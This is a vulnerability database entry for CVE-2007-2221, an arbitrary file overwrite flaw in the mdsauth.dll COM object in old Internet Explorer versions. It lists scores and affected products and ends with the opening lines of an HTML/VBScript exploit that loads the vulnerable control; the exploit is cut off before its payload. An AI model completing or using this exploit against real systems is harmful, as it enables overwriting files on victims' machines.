9.3
CVSSv2

CVE-2007-2221

Published: 08/05/2007 Updated: 23/07/2021
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 935
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Unspecified vulnerability in the mdsauth.dll COM object in Microsoft Windows Media Server in the Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; or 7 on Windows Vista allows remote malicious users to overwrite arbitrary files via unspecified vectors, aka the "Arbitrary File Rewrite Vulnerability."

Vulnerable Product Search on Vulmon Subscribe to Product

microsoft internet_explorer 5.01

microsoft internet_explorer 6

microsoft internet_explorer 6.0

microsoft internet_explorer 7.0

Exploits

<html> <title> MS07-027 mdsauthdll NMSA Session Description Object SaveAs control, arbitrary file modification </title> <body> <OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0"> </OBJECT> <script language="vbscript"> //next script is converted to UTF16 targetSessionDescription=" ...